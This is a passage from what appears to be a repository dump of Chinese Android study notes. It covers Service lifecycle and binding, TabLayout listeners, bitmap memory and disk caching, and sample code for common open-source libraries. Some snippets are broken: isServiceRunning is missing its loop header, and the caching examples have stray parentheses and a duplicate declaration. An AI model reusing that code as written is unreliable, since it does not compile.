\n如果系统在onStartCommand()返回后杀死了服务，则将重建服务并调用onStartCommand()，但不会再次送入上一个intent， 而是用null intent来调用onStartCommand() 。除非还有启动服务的intent未发送完，那么这些剩下的intent会继续发送。 这适用于媒体播放器（或类似服务），它们不执行命令，但需要一直运行并随时待命。　\n\n> START_REDELIVER_INTENT \n如果系统在onStartCommand()返回后杀死了服务，则将重建服务并用上一个已送过的intent调用onStartCommand()。任何未发送完的intent也都会依次送入。这适用于那些需要立即恢复工作的活跃服务，比如下载文件。\n\n　　服务的生命周期与activity的非常类似。不过，更重要的是你需密切关注服务的创建和销毁环节，因为后台运行的服务是不会引起用户注意的。\n\n　　服务的生命周期——从创建到销毁——可以有两种路径：\n\n - 一个started服务\n\n　　这类服务由其它组件调用startService()来创建。然后保持运行，且必须通过调用stopSelf()自行终止。其它组件也可通过调用stopService() 终止这类服务。服务终止后，系统会把它销毁。\n\n　　如果一个Service被startService 方法多次启动，那么onCreate方法只会调用一次，onStart将会被调用多次（对应调用startService的次数），并且系统只会创建Service的一个实例（因此你应该知道只需要一次stopService调用）。该Service将会一直在后台运行，而不管对应程序的Activity是否在运行，直到被调用stopService，或自身的stopSelf方法。当然如果系统资源不足，android系统也可能结束服务。\n\n　　\n\n - 　一个bound服务\n \n　　服务由其它组件（客户端）调用bindService()来创建。然后客户端通过一个IBinder接口与服务进行通信。客户端可以通过调用unbindService()来关闭联接。多个客户端可以绑定到同一个服务上，当所有的客户端都解除绑定后，系统会销毁服务。（服务不需要自行终止。）\n\n　　如果一个Service被某个Activity 调用 Context.bindService 方法绑定启动，不管调用 bindService 调用几次，onCreate方法都只会调用一次，同时onStart方法始终不会被调用。当连接建立之后，Service将会一直运行，除非调用Context.unbindService 断开连接或者之前调用bindService 的 Context 不存在了（如Activity被finish的时候），系统将会自动停止Service，对应onDestroy将被调用。\n\n![这里写图片描述](http://img.blog.csdn.net/20160503165622881)　\n\n　　这两条路径并不是完全隔离的。也就是说，你可以绑定到一个已经用startService()启动的服务上。例如，一个后台音乐服务可以通过调用startService()来启动，传入一个指明所需播放音乐的 Intent。 之后，用户也许需要用播放器进行一些控制，或者需要查看当前歌曲的信息，这时一个activity可以通过调用bindService()与此服务绑定。在类似这种情况下，stopService()或stopSelf()不会真的终止服务，除非所有的客户端都解除了绑定。\n\n> 　　当在旋转手机屏幕的时候，当手机屏幕在“横”“竖”变换时，此时如果你的 Activity 如果会自动旋转的话，旋转其实是 Activity 的重新创建，因此旋转之前的使用 bindService 建立的连接便会断开（Context 不存在了）。\n\n# 在manifest中声明服务\n\n　　无论是什么类型的服务都必须在manifest中申明，格式如下：\n\n```\n<manifest ... >\n  ...\n  <application ... >\n      <service android:name=\".ExampleService\" />\n      ...\n  </application>\n</manifest>\n```\n\nService 元素的属性有：\n\n> android:name　　-------------　　服务类名\n\n>android:label　　--------------　　服务的名字，如果此项不设置，那么默认显示的服务名则为类名\n\n>android:icon　　--------------　　服务的图标\n\n>android:permission　　-------　　申明此服务的权限，这意味着只有提供了该权限的应用才能控制或连接此服务\n\n>android:process　　----------　　表示该服务是否运行在另外一个进程，如果设置了此项，那么将会在包名后面加上这段字符串表示另一进程的名字\n\n>android:enabled　　----------　　如果此项设置为 true，那么 Service 将会默认被系统启动，不设置默认此项为 false\n\n>android:exported　　---------　　表示该服务是否能够被其他应用程序所控制或连接，不设置默认此项为 false　\n\n　　android:name是唯一必需的属性——它定义了服务的类名。与activity一样，服务可以定义intent过滤器，使得其它组件能用隐式intent来调用服务。如果你想让服务只能内部使用（其它应用程序无法调用），那么就不必（也不应该）提供任何intent过滤器。\n　　此外，如果包含了android:exported属性并且设置为\"false\"， 就可以确保该服务是你应用程序的私有服务。即使服务提供了intent过滤器，本属性依然生效。　\n\n# startService 启动服务\n\n　　从activity或其它应用程序组件中可以启动一个服务，调用startService()并传入一个Intent（指定所需启动的服务）即可。\n\n```\n\tIntent intent = new Intent(this, MyService.class);\n\tstartService(intent);\n```\n\n服务类：\n\n```\npublic class MyService extends Service {\n\n\t  /**\n     * onBind 是 Service 的虚方法，因此我们不得不实现它。\n     * 返回 null，表示客服端不能建立到此服务的连接。\n     */\n\t@Override\n\tpublic IBinder onBind(Intent intent) {\n\t\t// TODO Auto-generated method stub\n\t\treturn null;\n\t}\n    \n\t@Override\n    public void onCreate() {\n        super.onCreate();\n    }\n     \n    @Override\n public int onStartCommand(Intent intent, int flags, int startId)  　　 {  \t\n    //接受传递过来的intent的数据 \n     return START_STICKY; \n    };\n     \n    @Override\n    public void onDestroy() {\n        super.onDestroy();\n    }\n\t\n}\n```\n\n　　一个started服务必须自行管理生命周期。也就是说，系统不会终止或销毁这类服务，除非必须恢复系统内存并且服务返回后一直维持运行。 因此，服务必须通过调用stopSelf()自行终止，或者其它组件可通过调用stopService()来终止它。\n\n# bindService 启动服务　　\n\n　　当应用程序中的activity或其它组件需要与服务进行交互，或者应用程序的某些功能需要暴露给其它应用程序时，你应该创建一个bound服务，并通过进程间通信（IPC）来完成。\n\n方法如下：\n\n```\n Intent intent=new Intent(this,BindService.class); \n bindService(intent, ServiceConnection conn, int flags)  \n\n```\n\n> 注意bindService是Context中的方法，当没有Context时传入即可。\n\n在进行服务绑定的时，其flags有：\n\n - Context.BIND_AUTO_CREATE    \n \n　　表示收到绑定请求的时候，如果服务尚未创建，则即刻创建，在系统内存不足需要先摧毁优先级组件来释放内存，且只有驻留该服务的进程成为被摧毁对象时，服务才被摧毁　\n\n - Context.BIND_DEBUG_UNBIND    　\n \n　　通常用于调试场景中判断绑定的服务是否正确，但容易引起内存泄漏，因此非调试目的的时候不建议使用\n\n - Context.BIND_NOT_FOREGROUND    　\n \n　　表示系统将阻止驻留该服务的进程具有前台优先级，仅在后台运行。\n\n服务类：\n\n```\npublic class BindService extends Service {\n\n\t // 实例化MyBinder得到mybinder对象；\n\tprivate final MyBinder binder = new MyBinder();\n\t\n\t  /**\n     * 返回Binder对象。\n     */\n\t@Override\n\tpublic IBinder onBind(Intent intent) {\n\t\t// TODO Auto-generated method stub\n\t\treturn binder;\n\t}\n    \n     /**\n      * 新建内部类MyBinder，继承自Binder(Binder实现IBinder接口),\n      * MyBinder提供方法返回BindService实例。\n      */\n　　public class MyBinder extends Binder{\n        \n        public BindService getService(){\n            return BindService.this;\n        }\n    }\n     \n\n\t@Override\n\tpublic boolean onUnbind(Intent intent) {\n\t\t// TODO Auto-generated method stub\n\t\treturn super.onUnbind(intent);\n\t}\n}\n```\n\n启动服务的activity代码：\n\n```\npublic class MainActivity extends Activity {\n\n\t/** 是否绑定 */  \n\tboolean mIsBound = false; \n\tBindService mBoundService;\n\t@Override\n\tprotected void onCreate(Bundle savedInstanceState) {\n\t\tsuper.onCreate(savedInstanceState);\n\t\tsetContentView(R.layout.activity_main);\n\t\tdoBindService();\n\t}\n\t/**\n\t * 实例化ServiceConnection接口的实现类,用于监听服务的状态\n\t */\n\tprivate ServiceConnection conn = new ServiceConnection() {  \n\t\t  \n\t    @Override  \n\t    public void onServiceConnected(ComponentName name, IBinder service) {  \n\t        BindService mBoundService = ((BindService.MyBinder) service).getService();  \n\t        \n\t    }  \n\t  \n\t    @Override  \n\t    public void onServiceDisconnected(ComponentName name) {  \n\t        mBoundService = null;  \n\t     \n\t    }  \n\t}; \n\t\n\t/** 绑定服务 */  \n\tpublic void doBindService() {  \n\t    bindService(new Intent(MainActivity.this, BindService.class), conn,Context.BIND_AUTO_CREATE);  \n\t    mIsBound = true;  \n\t}  \n\t\n\t/** 解除绑定服务 */  \n\tpublic void doUnbindService() {  \n\t    if (mIsBound) {  \n\t        // Detach our existing connection.  \n\t        unbindService(conn);  \n\t        mIsBound = false;  \n\t    }  \n\t} \n\t\n\t@Override\n\tprotected void onDestroy() {\n\t\t// TODO Auto-generated method stub\n\t\tsuper.onDestroy();\n\t\t\n\t\tdoUnbindService();\n\t}\n}\n```\n\n> 注意在AndroidMainfest.xml中对Service进行显式声明\n\n\n判断Service是否正在运行：\n\n```\nprivate boolean isServiceRunning() {\n    ActivityManager manager = (ActivityManager) getSystemService(ACTIVITY_SERVICE);\n    \n 　{\n        if (\"com.example.demo.BindService\".equals(service.service.getClassName())) 　　{\n            return true;\n        }\n    }\n    return false;\n}\n```\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android基础/tablayout记录.md",
    "content": "# TabLayout记录\n\n今天用TabLayout的时候发现，TabLayout的setOnPageChangeListener的方法过期了，良好的编程习惯是不在项目中使用过时的方法的，所以要找一个替代的方案：\n\n``addOnPageChangeListener``\n\n- setOnPageChangeListener\n\n```\nmViewPager.setOnPageChangeListener(new ViewPager.OnPageChangeListener() {\n@Override\npublic void onPageScrolled(int position, float positionOffset, int positionOffsetPixels) {\n\n}\n\n@Override\npublic void onPageSelected(int position) {\n\n}\n\n@Override\npublic void onPageScrollStateChanged(int state) {\n\n}\n});\n```\n\n- addOnPageChangeListener\n\n```\nmViewPager.addOnPageChangeListener(new ViewPager.OnPageChangeListener() {\n@Override\npublic void onPageScrolled(int position, float positionOffset, int positionOffsetPixels) {\n\n}\n\n@Override\npublic void onPageSelected(int position) {\n    selectedTab(position);\n}\n\n@Override\npublic void onPageScrollStateChanged(int state) {\n\n}\n});\n```\n"
  },
  {
    "path": "docs/android/AndroidNote/Android基础/test.kt",
    "content": "\n"
  },
  {
    "path": "docs/android/AndroidNote/Android基础/图片缓存原理.md",
    "content": ">　　移动开发本质上就是手机和服务器之间进行通信，需要从服务端获取数据。反复通过网络获取数据是比较耗时的，特别是访问比较多的时候，会极大影响了性能，Android中可通过缓存机制来减少频繁的网络操作，减少流量、提升性能。\n\n# 实现原理\n\n　　把不需要实时更新的数据缓存下来，通过时间或者其他因素　来判别是读缓存还是网络请求，这样可以缓解服务器压力，一定程度上提高应用响应速度，并且支持离线阅读。\n　　\n\n# Bitmap的缓存\n\n　　在许多的情况下(像 ListView, GridView 或 ViewPager 之类的组件 )我们需要一次性加载大量的图片，在屏幕上显示的图片和所有待显示的图片有可能需要马上就在屏幕上无限制的进行滚动、切换。\n\n  　　像ListView, GridView 这类组件，它们的子项当不可见时，所占用的内存会被回收以供正在前台显示子项使用。垃圾回收器也会释放你已经加载了的图片占用的内存。如果你想让你的UI运行流畅的话，就不应该每次显示时都去重新加载图片。保持一些内存和文件缓存就变得很有必要了。\n\n## 使用内存缓存\n\n　　通过预先消耗应用的一点内存来存储数据，便可快速的为应用中的组件提供数据，是一种典型的以**空间换时间**的策略。\n　　LruCache  类（Android v4 Support Library 类库中开始提供）非常适合来做图片缓存任务 ，它可以使用一个LinkedHashMap  的强引用来保存最近使用的对象，并且当它保存的对象占用的内存总和超出了为它设计的最大内存时会把**不经常使用**的对象成员踢出以供垃圾回收器回收。\n\n　　给LruCache 设置一个合适的内存大小，需考虑如下因素：\n\n - 还剩余多少内存给你的activity或应用使用\n - 屏幕上需要一次性显示多少张图片和多少图片在等待显示\n - 手机的大小和密度是多少（密度越高的设备需要越大的 缓存）\n - 图片的尺寸（决定了所占用的内存大小）\n - 图片的访问频率（频率高的在内存中一直保存）\n - 保存图片的质量（不同像素的在不同情况下显示）\n\n\t\n具体的要根据应用图片使用的具体情况来找到一个合适的解决办法，一个设置 LruCache 例子：\n\n```\nprivate LruCache<String, Bitmap> mMemoryCache;\n\n@Override\nprotected void onCreate(Bundle savedInstanceState) {\n    ...\n    // 获得虚拟机能提供的最大内存，超过这个大小会抛出OutOfMemory的异常\n    final int maxMemory = (int) (Runtime.getRuntime().maxMemory() / 1024);\n\n    // 用１／８的内存大小作为内存缓存\n    final int cacheSize = maxMemory / 8;\n\n    mMemoryCache = new LruCache<String, Bitmap>(cacheSize) {\n        @Override\n        protected int sizeOf(String key, Bitmap bitmap) {\n            // 这里返回的不是item的个数，是cache的size（单位1024个字节）\n            return bitmap.getByteCount() / 1024;\n        }\n    };\n    ...\n}\n\npublic void addBitmapToMemoryCache(String key, Bitmap bitmap) {\n    if (getBitmapFromMemCache(key) == null) {\n        mMemoryCache.put(key, bitmap);\n    }\n}\n\npublic Bitmap getBitmapFromMemCache(String key) {\n    return mMemoryCache.get(key);\n}\n```\n　　当为ImageView加载一张图片时，会先在LruCache 中看看有没有缓存这张图片，如果有的话直接更新到ImageView中，如果没有的话，一个后台线程会被触发来加载这张图片。\n\n```\npublic void loadBitmap(int resId, ImageView imageView) {\n    final String imageKey = String.valueOf(resId);\n\n    // 查看下内存缓存中是否缓存了这张图片\n    final Bitmap bitmap = getBitmapFromMemCache(imageKey);\n    if (bitmap != null) {\n        mImageView.setImageBitmap(bitmap);\n    } else {\n        mImageView.setImageResource(R.drawable.image_placeholder);\nBitmapWorkerTask task = new BitmapWorkerTask(mImageView);\n        task.execute(resId);\n    }\n}\n```\n   在图片加载的Task中，需要把加载好的图片加入到内存缓存中。\n\n```\nclass BitmapWorkerTask extends AsyncTask<Integer, Void, Bitmap> {\n    ...\n    // 在后台完成\n    @Override\n    protected Bitmap doInBackground(Integer... params) {\n        final Bitmap bitmap = decodeSampledBitmapFromResource(\n                getResources(), params[0], 100, 100));\n    addBitmapToMemoryCache(String.valueOf(params[0]), bitmap);\n        return bitmap;\n    }\n    ...\n}\n```\n\n## 使用磁盘缓存\n\n　　内存缓存能够快速的获取到最近显示的图片，但不一定就能够获取到。当数据集过大时很容易把内存缓存填满（如GridView ）。你的应用也有可能被其它的任务（比如来电）中断进入到后台，后台应用有可能会被杀死，那么相应的内存缓存对象也会被销毁。 当你的应用重新回到前台显示时，你的应用又需要一张一张的去加载图片了。\n\n   　磁盘文件缓存能够用来处理这些情况，保存处理好的图片，当内存缓存不可用的时候，直接读取在硬盘中保存好的图片，这样可以有效的减少图片加载的次数。读取磁盘文件要比直接从内存缓存中读取要慢一些，而且需要在一个UI主线程外的线程中进行，因为磁盘的读取速度是不能够保证的，磁盘文件缓存显然也是一种以**空间换时间**的策略。\n\n　　如果图片使用非常频繁的话，一个 ContentProvider 可能更适合代替去存储缓存图片，比如图片gallery 应用。\n\n　　下面是一个DiskLruCache的部分代码：\n\n```\nprivate DiskLruCache mDiskLruCache;\nprivate final Object mDiskCacheLock = new Object();\nprivate boolean mDiskCacheStarting = true;\nprivate static final int DISK_CACHE_SIZE = 1024 * 1024 * 10; // 10MB\nprivate static final String DISK_CACHE_SUBDIR = \"thumbnails\";\n\n@Override\nprotected void onCreate(Bundle savedInstanceState) {\n    ...\n    // 初始化内存缓存\n    ...\n    // 在后台线程中初始化磁盘缓存\n    File cacheDir = getDiskCacheDir(this, DISK_CACHE_SUBDIR);\n    new InitDiskCacheTask().execute(cacheDir);\n    ...\n}\n\nclass InitDiskCacheTask extends AsyncTask<File, Void, Void> {\n    @Override\n    protected Void doInBackground(File... params) {\n        synchronized (mDiskCacheLock) {\n            File cacheDir = params[0];\n  mDiskLruCache = DiskLruCache.open(cacheDir, DISK_CACHE_SIZE);\n　 mDiskCacheStarting = false; // 结束初始化\n　 mDiskCacheLock.notifyAll(); // 唤醒等待线程\n        }\n        return null;\n    }\n}\n\nclass BitmapWorkerTask extends AsyncTask<Integer, Void, Bitmap> {\n    ...\n    // 在后台解析图片\n    @Override\n    protected Bitmap doInBackground(Integer... params) {\n        final String imageKey = String.valueOf(params[0]);\n\n        // 在后台线程中检测磁盘缓存\n        Bitmap bitmap = getBitmapFromDiskCache(imageKey);\n\n        if (bitmap == null) { // 没有在磁盘缓存中找到图片\n final Bitmap bitmap = decodeSampledBitmapFromResource(\n                    getResources(), params[0], 100, 100));\n        }\n\n        // 把这个final类型的bitmap加到缓存中\n        addBitmapToCache(imageKey, bitmap);\n\n        return bitmap;\n    }\n    ...\n}\n\npublic void addBitmapToCache(String key, Bitmap bitmap) {\n    // 先加到内存缓存\n    if (getBitmapFromMemCache(key) == null) {\n        mMemoryCache.put(key, bitmap);\n    }\n\n    //再加到磁盘缓存\n    synchronized (mDiskCacheLock) {\n        if (mDiskLruCache != null && mDiskLruCache.get(key) == null) {\n            mDiskLruCache.put(key, bitmap);\n        }\n    }\n}\n\npublic Bitmap getBitmapFromDiskCache(String key) {\n    synchronized (mDiskCacheLock) {\n        // 等待磁盘缓存从后台线程打开\n        while (mDiskCacheStarting) {\n            try {\n                mDiskCacheLock.wait();\n            } catch (InterruptedException e) {}\n        }\n        if (mDiskLruCache != null) {\n            return mDiskLruCache.get(key);\n        }\n    }\n    return null;\n}\n\npublic static File getDiskCacheDir(Context context, String uniqueName) {\n    // 优先使用外缓存路径，如果没有挂载外存储，就使用内缓存路径\nfinal String cachePath =\n            Environment.MEDIA_MOUNTED.equals(Environment.getExternalStorageState()) ||\n!isExternalStorageRemovable() ?getExternalCacheDir(context).getPath():context.getCacheDir().getPath();\n\n    return new File(cachePath + File.separator + uniqueName);\n}\n```\n\n　　不能在UI主线程中进行这项操作，因为初始化磁盘缓存也需要对磁盘进行操作。上面的程序片段中，一个锁对象确保了磁盘缓存没有初始化完成之前不能够对磁盘缓存进行访问。\n\n　　 内存缓存在UI线程中进行检测，磁盘缓存在UI主线程外的线程中进行检测，当图片处理完成之后，分别存储到内存缓存和磁盘缓存中。\n\n## 设备配置参数改变时加载问题\n\n　　由于应用在运行的时候设备配置参数可能会发生改变，比如设备朝向改变，会导致Android销毁你的Activity然后按照新的配置重启，这种情况下，我们要避免重新去加载处理所有的图片，让用户能有一个流畅的体验。   \n\n   　使用Fragment 能够把内存缓存对象传递到新的activity实例中，调用setRetainInstance(true)) 方法来保留Fragment实例。当activity重新创建好后， 被保留的Fragment依附于activity而存在，通过Fragment就可以获取到已经存在的内存缓存对象了，这样就可以快速的获取到图片，并设置到ImageView上，给用户一个流畅的体验。\n\n下面是一个示例程序片段：\n\n```\nprivate LruCache<String, Bitmap> mMemoryCache;\n\n@Override\nprotected void onCreate(Bundle savedInstanceState) {\n    ...\nRetainFragment mRetainFragment =            RetainFragment.findOrCreateRetainFragment(getFragmentManager());\n    mMemoryCache = RetainFragment.mRetainedCache;\n    if (mMemoryCache == null) {\n        mMemoryCache = new LruCache<String, Bitmap>(cacheSize) {\n            ... //像上面例子中那样初始化缓存\n        }\n        mRetainFragment.mRetainedCache = mMemoryCache;\n    }\n    ...\n}\n\nclass RetainFragment extends Fragment {\n    private static final String TAG = \"RetainFragment\";\n    public LruCache<String, Bitmap> mRetainedCache;\n\n    public RetainFragment() {}\n\n    public static RetainFragment findOrCreateRetainFragment(FragmentManager fm) {\n        RetainFragment fragment = (RetainFragment) fm.findFragmentByTag(TAG);\n        if (fragment == null) {\n            fragment = new RetainFragment();\n        }\n        return fragment;\n    }\n\n    @Override\n    public void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        // 使得Fragment在Activity销毁后还能够保留下来\n        setRetainInstance(true);\n    }\n}\n```\n\n　　可以在不适用Fragment（没有界面的服务类Fragment）的情况下旋转设备屏幕。在保留缓存的情况下，你应该能发现填充图片到Activity中几乎是瞬间从内存中取出而没有任何延迟的感觉。任何图片优先从内存缓存获取，没有的话再到硬盘缓存中找，如果都没有，那就以普通方式加载图片。\n　　\n参考：\n\n[Caching Bitmaps](http://developer.android.com/training/displaying-bitmaps/cache-bitmap.html)\n\n[LruCache](http://developer.android.com/reference/android/util/LruCache.html)\n\n# 使用SQLite进行缓存\n\n　　网络请求数据完成后，把文件的相关信息（如url（一般作为唯一标示），下载时间，过期时间）等存放到数据库。下次加载的时候根据url先从数据库中查询，如果查询到并且时间未过期，就根据路径读取本地文件，从而实现缓存的效果。\n\n　　注意：缓存的数据库是存放在/data/data/<package>/databases/目录下，是占用内存空间的，如果缓存累计，容易浪费内存，需要及时清理缓存。\n\n# 文件缓存\n\n　　思路和一般缓存一样，把需要的数据存储在文件中，下次加载时判断文件是否存在和过期（使用File.lastModified()方法得到文件的最后修改时间，与当前时间判断），存在并未过期就加载文件中的数据，否则请求服务器重新下载。\n\n　　注意，无网络环境下就默认读取文件缓存中的。\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android开源框架相关/Android当下最流行的开源框架总结.md",
    "content": "# Android中能够简化开发流程的一些框架\n\n> 本文介绍的是一些博主在开发过程中经常用到的Android开源框架，所谓开源框架我的理解就是别人封装好的代码，可以直接拿过来使用，并且源码也全部公开的代码库。\n> 我对于开源框架的使用的态度是，如果完全符合我们项目的需求，或者可定制化的程度非常高的话，那么便可以拿过来直接用，因为开源框架的源码都在那里，如果遇到和项目预期不一样的地方我们也可以把源码拿过来自己改一下，然后重新打个包嘛。\n> 但是，不是很建议刚开始学习安卓的小伙伴们，只会用第三方框架，但是不理解框架内部的实现，在用第三方框架的过程中，我们是可以自己先封装一下简单的框架的，然后再了解一下别人框架内部实现的逻辑什么样的，知其所以然嘛。\n> 同时也非常感谢这些开源框架的作者们，他们的开源精神，真的是非常的伟大啊。\n\n## 网络框架\n- [NoHttp](https://github.com/yanzhenjie/NoHttp)\n- [RxJava](https://github.com/ReactiveX/RxJava) + [retrofit](https://github.com/square/retrofit)\n- [Okhttp](https://github.com/square/okhttp)\n- [okhttp-OkGo](https://github.com/jeasonlzy/okhttp-OkGo)\n\n## Json解析框架\n- [fastJson](https://github.com/alibaba/fastjson)\n- [gson](https://github.com/google/gson)\n\n## 图片加载框架\n- [fresco](https://github.com/facebook/fresco)\n- [Glide](https://github.com/bumptech/glide)\n- [picasso](https://github.com/square/picasso)\n\n## Log类的库\n- [logger](https://github.com/orhanobut/logger)\n- [KLog](https://github.com/ZhaoKaiQiang/KLog)\n- [xLog](https://github.com/elvishew/xLog)\n\n## RecyclerView\n- [UltimateRecyclerView](https://github.com/cymcsg/UltimateRecyclerView)\n- [IndexRecyclerView](https://github.com/jiang111/IndexRecyclerView)\n- [recyclerview-animators](https://github.com/wasabeef/recyclerview-animators)\n\n## Adapter\n- [BaseRecyclerViewAdapterHelper](https://github.com/CymChad/BaseRecyclerViewAdapterHelper)\n- [baseAdapter](https://github.com/hongyangAndroid/baseAdapter)\n- [base-adapter-helper](https://github.com/JoanZapata/base-adapter-helper)\n\n## 数据库\n- [greenDAO](https://github.com/greenrobot/greenDAO)\n- [realm-java](https://github.com/realm/realm-java)\n- [ormlite-android](https://github.com/j256/ormlite-android)\n\n## 注解库\n- [butterknife](https://github.com/JakeWharton/butterknife)\n- [xUtils3](https://github.com/wyouflf/xUtils3)\n- [annotations](http://androidannotations.org/)\n\n## 事件总线\n- [EventBus](https://github.com/greenrobot/EventBus)\n- [RxJava](https://github.com/ReactiveX/RxJava)\n\n## 图片剪裁\n- [uCrop](https://github.com/Yalantis/uCrop)\n- [android-crop](https://github.com/jdamcd/android-crop)\n- [glide-transformations](https://github.com/wasabeef/glide-transformations)\n\n## 性能检测\n- [leakcanary](https://github.com/square/leakcanary)\n\n## 后台任务队列\n- [tape](https://github.com/square/tape)\n\n## UI\n- [Android-Bootstrap](https://github.com/Bearded-Hen/Android-Bootstrap)\n- [material-dialogs](https://github.com/afollestad/material-dialogs)\n- [Android-PickerView](https://github.com/Bigkoo/Android-PickerView)\n- [TastyToast](https://github.com/yadav-rahul/TastyToast)\n- [awesome-android-ui](https://github.com/wasabeef/awesome-android-ui)\n\n\n----\n\n> 感觉这么给大家介绍完了，可能大家会感觉到很抽象，所以打算动手撸一个小的项目，让大家具体感受一下大神们封装的库\n\n[项目源码下载](https://github.com/linsir6/BaseDevelop)\n\n### 项目中用到的库：\n\n* nohttp\n* butterknife\n* glide\n* logger\n* BaseRecyclerViewAdapterHelper\n* eventbus\n* glide-transformations\n* leakcanary\n* Android-Bootstrap\n* TastyToast\n* material-dialogs\n\n\n项目截图：\n![效果图](https://ws2.sinaimg.cn/large/006tNbRwly1ffs86hx2c2j30k00zkjum.jpg)\n\n\nnohttp:\n\n```\n//同步请求，结果直接存储在了response\n        Request<String> request = NoHttp.createStringRequest(\"自己的url\", RequestMethod.POST);\n        Response<String> response = NoHttp.startRequestSync(request);\n        String result = response.get();\n        //可以直接将结果取出，并且内置了Gson，fastJson，可以直接将结果转换成对应的model\n\n\n\n\n        //异步请求，可以构建请求队列，默认同时三个请求一起，参数可调\n        RequestQueue requestQueue = NoHttp.newRequestQueue();\n\n        OnResponseListener<String> listener = new OnResponseListener<String>() {\n            @Override public void onStart(int what) {\n\n            }\n\n            @Override public void onSucceed(int what, Response response) {\n\n            }\n\n            @Override public void onFailed(int what, Response response) {\n\n            }\n\n            @Override public void onFinish(int what) {\n\n            }\n        };\n\n        //请求String\n        Request<String> request2 = NoHttp.createStringRequest(\"自己的url\", RequestMethod.GET);\n        requestQueue.add(0, request2, listener);\n\n        //可以自定义请求类型\n\n/*\n        // JsonObject\n        Request<JSONObject> objRequest = NoHttp.createJsonObjectRequest(\"自己的url\", RequestMethod.POST);\n        requestQueue.add(0, objRequest, listener);\n\n        // JsonArray\n        Request<JSONArray> arrayRequest = NoHttp.createJsonArrayRequest(\"自己的url\", RequestMethod.PUT);\n        requestQueue.add(0, arrayRequest, listener);\n\n\n        Request<JSONObject> request = new FastJsonRequest(url, RequestMethod.POST);\n        requestQueue.add(0, request, listener);\n\n        // 内部使用Gson、FastJson解析成JavaBean\n        Request<UserInfo> request = new JavaBeanRequest(url, RequestMethod.GET);\n        requestQueue.add(0, request, listener);\n\n        Request<JSONObject> request = new JavaBeanRequest(url, RequestMethod.POST);\n           .add(\"name\", \"yoldada\") // String类型\n           .add(\"age\", 18) // int类型\n           .add(\"sex\", '0') // char类型\n           .add(\"time\", 16346468473154) // long类型\n\n           // 添加Bitmap\n           .add(\"head\", new BitmapBinary(bitmap))\n           // 添加File\n           .add(\"head\", new FileBinary(file))\n           // 添加ByteArray\n           .add(\"head\", new ByteArrayBinary(byte[]))\n           // 添加InputStream\n           .add(\"head\", new InputStreamBinary(inputStream));\n\n*/\n\n\n        //nohttp同时有非常完备的缓存的策略，同时对文件上传，请求包体都有非常好的兼容，并且全都是中文文档~\n```\n \n\nbutterknife:\n\n```\n @BindView(R.id.title) TextView title;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        ButterKnife.bind(this);\n        title.setText(\"一些第三方库的测试的demo\");\n\n\n    }\n\n    @OnClick(R.id.nohttp) public void onNohttpClicked() {\n        startActivity(new Intent(MainActivity.this, NoHttpActivity.class));\n    }\n\n    @OnClick(R.id.glide) public void onGlideClicked() {\n        startActivity(new Intent(MainActivity.this,GlideActivity.class));\n    }\n\n    @OnClick(R.id.baseRecyclerview_adapter_helper) public void onBaseRecyclerviewAdapterHelperClicked() {\n        startActivity(new Intent(MainActivity.this,BaseRecyclerViewAdapterActivity.class));\n    }\n\n    @OnClick(R.id.event_bus) public void onEventBusClicked() {\n        startActivity(new Intent(MainActivity.this,EventBusActivity.class));\n    }\n\n    @OnClick(R.id.glide_transformations) public void onGlideTransformationsClicked() {\n        startActivity(new Intent(MainActivity.this,GlideTransFormationActivity.class));\n    }\n\n    @OnClick(R.id.tasty_toast) public void onTastyToastClicked() {\n        startActivity(new Intent(MainActivity.this,TastyToastActivity.class));\n    }\n\n    @OnClick(R.id.material_dialogs) public void onMaterialDialogsClicked() {\n        startActivity(new Intent(MainActivity.this,MaterialDialogActivity.class));\n    }\n\n    @OnClick(R.id.logger) public void onLoggerClicked() {\n        startActivity(new Intent(MainActivity.this,LoggerActivity.class));\n    }\n\n\n```\n\nglide：\n\n```\nGlide.with(this).load(\"http://goo.gl/gEgYUd\").into(img1);\n\n\n        Glide.with(this)\n                .load(\"http://goo.gl/gEgYUd\")\n                .fitCenter()\n                .centerCrop()\n                .into(img2);\n\n\n        Glide.with(this)\n                .load(\"\")\n                .fitCenter()\n                .centerCrop()\n                .error(R.mipmap.ic_launcher)\n                .into(img3);\n\n        Glide.with(this)\n                .load(\"http://goo.gl/gEgYUd\")\n                .diskCacheStrategy(DiskCacheStrategy.ALL)\n                .into(img4);\n\n        Glide.with(this)\n                .load(\"http://goo.gl/gEgYUd\")\n                .crossFade()\n                .into(img5);\n\n        Glide.with(this)\n                .load(\"http://goo.gl/gEgYUd\")\n                .into(new SimpleTarget<GlideDrawable>() {\n                    @Override public void onResourceReady(GlideDrawable resource, GlideAnimation<? super GlideDrawable> glideAnimation) {\n\n                        img6.setImageDrawable(resource);\n                    }\n                });\n```\n\n![glide效果图](https://ws2.sinaimg.cn/large/006tNbRwly1ffs892r469j30k00zkgnn.jpg)\n\n\nlogger：\n\n```\n        Logger.d(\"hello\");\n        Logger.d(\"hello %s %d\", \"world\", 5);   // String.format\n        Logger.d(\"hello\");\n        Logger.e(\"hello\");\n        Logger.w(\"hello\");\n        Logger.v(\"hello\");\n        Logger.wtf(\"hello\");\n\n//        Logger.json(JSON_CONTENT);       //打印json\n//        Logger.xml(XML_CONTENT);\n//        Logger.log(DEBUG, \"tag\", \"message\", throwable);\n//        Logger.d(\"hello %s\", \"world\");\n//\n//        Logger.d(list);                  //打印list\n//        Logger.d(map);\n//        Logger.d(set);\n//        Logger.d(new String[]);\n//\n//        Logger\n//                .init(YOUR_TAG)                 // default PRETTYLOGGER or use just init()\n//                .methodCount(3)                 // default 2\n//                .hideThreadInfo()               // default shown\n//                .logLevel(LogLevel.NONE)        // default LogLevel.FULL\n//                .methodOffset(2)                // default 0\n//                .logAdapter(new AndroidLogAdapter()); //default AndroidLogAdapter\n//\n//\n//\n        Logger.log(5000, \"tag\", \"内容\", null);//延时打log\n```\n\n\n![效果图](https://ws3.sinaimg.cn/large/006tNbRwly1ffs8a54fz8j30uk0smn4c.jpg)\n\n\n\n\nBaseRecyclerViewAdapterHelper:\n\n```\nMultipleItem item1 = new MultipleItem(1, \"aaa\");\n        MultipleItem item2 = new MultipleItem(1, \"bbb\");\n        MultipleItem item3 = new MultipleItem(1, \"ccc\");\n        MultipleItem item4 = new MultipleItem(1, 